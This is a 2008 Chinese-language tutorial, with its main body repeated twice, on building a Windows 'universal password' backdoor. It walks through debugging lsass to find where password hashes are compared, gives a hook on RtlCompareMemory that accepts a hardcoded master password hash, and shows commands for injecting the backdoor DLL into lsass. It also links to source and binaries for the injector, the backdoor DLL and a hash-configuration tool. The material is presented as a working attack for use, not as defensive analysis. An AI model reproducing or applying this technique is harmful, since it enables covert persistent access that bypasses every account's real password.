教你利用IAT hook實(shí)現(xiàn)windows通用密碼后門
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 19:03:55 作者:佚名
我要評(píng)論

先不管是不是真的有,我們可以自己實(shí)現(xiàn)一個(gè)這樣的后門。
先簡(jiǎn)單介紹一下windows登陸過(guò)程中的一些過(guò)程。
winlogon進(jìn)程用gina.dll獲取用戶名和密碼,通過(guò)LPC傳給lsass進(jìn)程。
然后lsass進(jìn)程調(diào)用默認(rèn)認(rèn)證包msv1_0.dll來(lái)驗(yàn)證密碼的對(duì)錯(cuò)。
而msv1_0則從SAM中獲得用戶
先不管是不是真的有,我們可以自己實(shí)現(xiàn)一個(gè)這樣的后門。
先簡(jiǎn)單介紹一下windows登陸過(guò)程中的一些過(guò)程。
winlogon進(jìn)程用gina.dll獲取用戶名和密碼,通過(guò)LPC傳給lsass進(jìn)程。
然后lsass進(jìn)程調(diào)用默認(rèn)認(rèn)證包msv1_0.dll來(lái)驗(yàn)證密碼的對(duì)錯(cuò)。
而msv1_0則從SAM中獲得用戶的信息,包括密碼的哈希。
要實(shí)現(xiàn)這樣一個(gè)后門,首先要找到登陸驗(yàn)證這一系列函數(shù)的最底層的一個(gè),然后在那里做手腳。
很明顯,這個(gè)最底層的函數(shù)在lsass進(jìn)程的msv1_0.dll模塊中。
lsass調(diào)用msv1_0.dll的是這個(gè)函數(shù):
代碼:
msv1_0!LsaApLogonUserEx2
LsaApLogonUserEx2 in MSDN
那我們就應(yīng)該調(diào)試lsass進(jìn)程然后在msv1_0!LsaApLogonUserEx2下斷點(diǎn)。
這里我使用windbg和vmware并利用dbgsrv進(jìn)行遠(yuǎn)程的用戶態(tài)調(diào)試。
http://blogs.msdn.com/spatdsg/archiv…27/507265.aspx
上面Spat在blog中介紹了如何用dbgsrv調(diào)試(Debugging LSA via dbgsrv.exe)。
在虛擬機(jī)(被調(diào)試端)運(yùn)行
代碼:
dbgsrv.exe -t tcp:port=1234,password=spat
然后在調(diào)試端運(yùn)行
代碼:
windbg.exe -premote tcp:server=192.168.1.102,port=1234,password=spat
然后選擇附加lsass進(jìn)程。
但這里我們不能登陸之后再運(yùn)行dbgsrv,那樣dbgsrv就被關(guān)掉了,所以我利用windows的任務(wù)計(jì)劃讓dbgsrv開(kāi)機(jī)就運(yùn)行起來(lái)。
虛擬機(jī)啟動(dòng)后,dbgsrv也起來(lái)了,然后用windbg連上并附上lsass進(jìn)程。
在下了斷點(diǎn)msv1_0!LsaApLogonUserEx2后,讓lsass繼續(xù)運(yùn)行。
然后登陸,果然windbg斷下來(lái)了。
這個(gè)時(shí)候給大家介紹windbg的一個(gè)強(qiáng)勁的命令,那就是wt,它能所有的記錄函數(shù)調(diào)用關(guān)系,一直記錄到ret,具體用法請(qǐng)看windbg幫助。
我猜wt是單步運(yùn)行,所以很慢。
但是wt輸出的文本很多,太難看了,于是我寫了個(gè)python腳本把wt的輸出轉(zhuǎn)成一個(gè)TreeCtrl
大家注意看我鼠標(biāo)點(diǎn)上的那個(gè)函數(shù):ntdll!RtlCompareMemory。
經(jīng)過(guò)調(diào)試我發(fā)現(xiàn)這個(gè)函數(shù)就是我要找的那個(gè)“最底層的函數(shù)”。
代碼:
SIZE_T
RtlCompareMemory(
IN CONST VOID *Source1,
IN CONST VOID *Source2,
IN SIZE_T Length
);
RtlCompareMemory in MSDN
并且我還發(fā)現(xiàn)了驗(yàn)證密碼時(shí)這個(gè)函數(shù)3個(gè)參數(shù)的細(xì)節(jié),
Source1是從SAM中取出的用戶密碼的Unicode形式的md4哈希,
Source2是用戶輸入的密碼的Unicode形式的md4哈希,
Length總是16,因?yàn)閙d4的哈希就是16位。
很容易我寫出了下面這個(gè)替代的函數(shù):
代碼:
int WINAPI MyRtlCompareMemory(void *a, void *b, int len) {
if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16)
return 16;
return pRtlCompareMemory(a, b, len);
}
其中pRtlCompareMemory是全局變量,是真正的RtlCompareMemory的地址,PASSWD_HASH是通用密碼的哈希。
使用MyRtlCompareMemory來(lái)hook掉RtlCompareMemory,就可以實(shí)現(xiàn)預(yù)定的功能了。
如果要比較的是16位的,并且第二段內(nèi)存與我們的哈希一樣那就直接放行,不管第一段內(nèi)存是什么。
也許有朋友會(huì)問(wèn),你這是hook了msv1_0模塊內(nèi)所有調(diào)用RtlCompareMemory的地方,不會(huì)出錯(cuò)嗎?
放心吧,哪有那么巧,要比較的是16位的而且第二段內(nèi)存又和我們的哈希一模一樣?
要hook這個(gè)函數(shù)有很多方法,
我選擇了最懶的一種,IAT hook dll注入。
于是我寫了一個(gè)小工具來(lái)注入dll:DllInject
代碼:
C:\Documents and Settings\cly\桌面\bin>InjectDll.exe
InjectDll v0.1
Inject/UnInject a dll file to a process, by cly, at 20080522
Usage:
InjectDll.exe (-i | -u | -U) pid filename
-i: Inject
-u: UnInject once
-U: UnInject at all
passdoor.dll是要注入到lsass進(jìn)程的dll,這個(gè)dll在DllMain中實(shí)現(xiàn)了IAT hook,很土的技術(shù)了,就不貼代碼了,網(wǎng)上一搜一籮筐。
然后我又寫了一個(gè)小工具:pdconfig
其實(shí)就是改passdoor.dll中的哈希,以免要換密碼是又要重新編譯passdoor.dll。
使用方法:
代碼:
InjectDll.exe -i pid_of_lsass full_path_of_passdoor.dll
卸載方法:
代碼:
InjectDll.exe -U pid_of_lsass full_path_of_passdoor.dll
http://clyfish.googlepages.com/passdoor.rar
這里是本文中相關(guān)工具的源碼以及編譯好的二進(jìn)制文件。
其中包括InjectDll.exe, passdoor.dll和pdconfig.exe,所有代碼均使用MingW gcc4.2.1編譯。
先簡(jiǎn)單介紹一下windows登陸過(guò)程中的一些過(guò)程。
winlogon進(jìn)程用gina.dll獲取用戶名和密碼,通過(guò)LPC傳給lsass進(jìn)程。
然后lsass進(jìn)程調(diào)用默認(rèn)認(rèn)證包msv1_0.dll來(lái)驗(yàn)證密碼的對(duì)錯(cuò)。
而msv1_0則從SAM中獲得用戶的信息,包括密碼的哈希。
要實(shí)現(xiàn)這樣一個(gè)后門,首先要找到登陸驗(yàn)證這一系列函數(shù)的最底層的一個(gè),然后在那里做手腳。
很明顯,這個(gè)最底層的函數(shù)在lsass進(jìn)程的msv1_0.dll模塊中。
lsass調(diào)用msv1_0.dll的是這個(gè)函數(shù):
代碼:
msv1_0!LsaApLogonUserEx2
LsaApLogonUserEx2 in MSDN
那我們就應(yīng)該調(diào)試lsass進(jìn)程然后在msv1_0!LsaApLogonUserEx2下斷點(diǎn)。
這里我使用windbg和vmware并利用dbgsrv進(jìn)行遠(yuǎn)程的用戶態(tài)調(diào)試。
http://blogs.msdn.com/spatdsg/archiv…27/507265.aspx
上面Spat在blog中介紹了如何用dbgsrv調(diào)試(Debugging LSA via dbgsrv.exe)。
在虛擬機(jī)(被調(diào)試端)運(yùn)行
代碼:
dbgsrv.exe -t tcp:port=1234,password=spat
然后在調(diào)試端運(yùn)行
代碼:
windbg.exe -premote tcp:server=192.168.1.102,port=1234,password=spat
然后選擇附加lsass進(jìn)程。
但這里我們不能登陸之后再運(yùn)行dbgsrv,那樣dbgsrv就被關(guān)掉了,所以我利用windows的任務(wù)計(jì)劃讓dbgsrv開(kāi)機(jī)就運(yùn)行起來(lái)。
虛擬機(jī)啟動(dòng)后,dbgsrv也起來(lái)了,然后用windbg連上并附上lsass進(jìn)程。
在下了斷點(diǎn)msv1_0!LsaApLogonUserEx2后,讓lsass繼續(xù)運(yùn)行。
然后登陸,果然windbg斷下來(lái)了。
這個(gè)時(shí)候給大家介紹windbg的一個(gè)強(qiáng)勁的命令,那就是wt,它能所有的記錄函數(shù)調(diào)用關(guān)系,一直記錄到ret,具體用法請(qǐng)看windbg幫助。
我猜wt是單步運(yùn)行,所以很慢。
但是wt輸出的文本很多,太難看了,于是我寫了個(gè)python腳本把wt的輸出轉(zhuǎn)成一個(gè)TreeCtrl
大家注意看我鼠標(biāo)點(diǎn)上的那個(gè)函數(shù):ntdll!RtlCompareMemory。
經(jīng)過(guò)調(diào)試我發(fā)現(xiàn)這個(gè)函數(shù)就是我要找的那個(gè)“最底層的函數(shù)”。
代碼:
SIZE_T
RtlCompareMemory(
IN CONST VOID *Source1,
IN CONST VOID *Source2,
IN SIZE_T Length
);
RtlCompareMemory in MSDN
并且我還發(fā)現(xiàn)了驗(yàn)證密碼時(shí)這個(gè)函數(shù)3個(gè)參數(shù)的細(xì)節(jié),
Source1是從SAM中取出的用戶密碼的Unicode形式的md4哈希,
Source2是用戶輸入的密碼的Unicode形式的md4哈希,
Length總是16,因?yàn)閙d4的哈希就是16位。
很容易我寫出了下面這個(gè)替代的函數(shù):
代碼:
int WINAPI MyRtlCompareMemory(void *a, void *b, int len) {
if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16)
return 16;
return pRtlCompareMemory(a, b, len);
}
其中pRtlCompareMemory是全局變量,是真正的RtlCompareMemory的地址,PASSWD_HASH是通用密碼的哈希。
使用MyRtlCompareMemory來(lái)hook掉RtlCompareMemory,就可以實(shí)現(xiàn)預(yù)定的功能了。
如果要比較的是16位的,并且第二段內(nèi)存與我們的哈希一樣那就直接放行,不管第一段內(nèi)存是什么。
也許有朋友會(huì)問(wèn),你這是hook了msv1_0模塊內(nèi)所有調(diào)用RtlCompareMemory的地方,不會(huì)出錯(cuò)嗎?
放心吧,哪有那么巧,要比較的是16位的而且第二段內(nèi)存又和我們的哈希一模一樣?
要hook這個(gè)函數(shù)有很多方法,
我選擇了最懶的一種,IAT hook dll注入。
于是我寫了一個(gè)小工具來(lái)注入dll:DllInject
代碼:
C:\Documents and Settings\cly\桌面\bin>InjectDll.exe
InjectDll v0.1
Inject/UnInject a dll file to a process, by cly, at 20080522
Usage:
InjectDll.exe (-i | -u | -U) pid filename
-i: Inject
-u: UnInject once
-U: UnInject at all
passdoor.dll是要注入到lsass進(jìn)程的dll,這個(gè)dll在DllMain中實(shí)現(xiàn)了IAT hook,很土的技術(shù)了,就不貼代碼了,網(wǎng)上一搜一籮筐。
然后我又寫了一個(gè)小工具:pdconfig
其實(shí)就是改passdoor.dll中的哈希,以免要換密碼是又要重新編譯passdoor.dll。
使用方法:
代碼:
InjectDll.exe -i pid_of_lsass full_path_of_passdoor.dll
卸載方法:
代碼:
InjectDll.exe -U pid_of_lsass full_path_of_passdoor.dll
http://clyfish.googlepages.com/passdoor.rar
這里是本文中相關(guān)工具的源碼以及編譯好的二進(jìn)制文件。
其中包括InjectDll.exe, passdoor.dll和pdconfig.exe,所有代碼均使用MingW gcc4.2.1編譯。
相關(guān)文章
- “CMOS密碼”就是通常所說(shuō)的“開(kāi)機(jī)密碼”,主要是為了防止別人使用自已的計(jì)算機(jī),設(shè)置的一個(gè)屏障2023-08-01
QQScreenShot之逆向并提取QQ截圖--OCR和其他功能
上一篇文章逆向并提取QQ截圖沒(méi)有提取OCR功能, 再次逆向我發(fā)現(xiàn)是可以本地調(diào)用QQ的OCR的,但翻譯按鈕確實(shí)沒(méi)啥用, 于是Patch了翻譯按鈕事件, 改為了將截圖用百度以圖搜圖搜索.2023-02-04- QQ截圖是我用過(guò)的最好用的截圖工具, 由于基本不在電腦上登QQ了, 于是就想將其提取出獨(dú)立版目前除了屏幕錄制功能其他都逆出來(lái)了, 在此分享一下2023-02-04
非系統(tǒng)分區(qū)使用BitLocker加密導(dǎo)致軟件無(wú)法安裝的解決方法
很多電腦用戶在考慮自己電腦磁盤分區(qū)安全時(shí)會(huì)采用 Windows 自帶的 BitLocker 加密工具對(duì)電腦磁盤分區(qū)進(jìn)行加密。但有些人加密后就會(huì)忘記自己設(shè)置的密碼從而導(dǎo)致在安裝其它軟2020-11-25防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生
這篇文章為大家詳細(xì)介紹了如何才能防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-06-27徹底防止計(jì)算機(jī)泄密、重要涉密人員離職泄密、涉密人員離崗離職前防范舉
近些年企業(yè)商業(yè)機(jī)密泄漏的事件屢有發(fā)生,這篇文章主要教大家如何徹底防止計(jì)算機(jī)泄密、重要涉密人員離職泄密、告訴大家涉密人員離崗離職前的防范舉措,具有一定的參考價(jià)值,2017-06-27量子計(jì)算機(jī)輕松破解加密算法 如何破解加密算法?
最近有電腦用戶反應(yīng)量子計(jì)算機(jī)可以破解下載的所有的加密算法嗎?其實(shí)也不是不可以,下面虛擬就為大家講解買臺(tái)量子計(jì)算機(jī),如何分分鐘破解加密算法2016-09-26怎么破解Webshell密碼 Burpsuite破解Webshell密碼圖文教程
webshell是以asp、php、jsp或者cgi等網(wǎng)頁(yè)文件形式存在的一種命令執(zhí)行環(huán)境,一種網(wǎng)頁(yè)后門。黑客通常會(huì)通過(guò)它控制別人網(wǎng)絡(luò)服務(wù)器,那么怎么破解webshell密碼呢?一起來(lái)看看吧2016-09-19針對(duì)Linux系統(tǒng)全盤加密的啟動(dòng)攻擊
本文討論了針對(duì)Linux系統(tǒng)全盤加密的冷啟動(dòng)攻擊,大家都認(rèn)為這種攻擊是可行的,但執(zhí)行這么一次攻擊有多難?攻擊的可行性有多少呢?需要的朋友可以參考下2015-12-28防止泄露公司機(jī)密、企業(yè)數(shù)據(jù)防泄密軟件排名、電腦文件加密軟件排行
面對(duì)日漸嚴(yán)重的內(nèi)部泄密事件,我們?nèi)绾问刈o(hù)企業(yè)的核心信息,如何防止內(nèi)部泄密也就成了擺在各個(gè)企業(yè)領(lǐng)導(dǎo)面前的一大問(wèn)題。其實(shí),針對(duì)內(nèi)網(wǎng)安全,防止內(nèi)部信息泄漏早已有了比較2015-12-17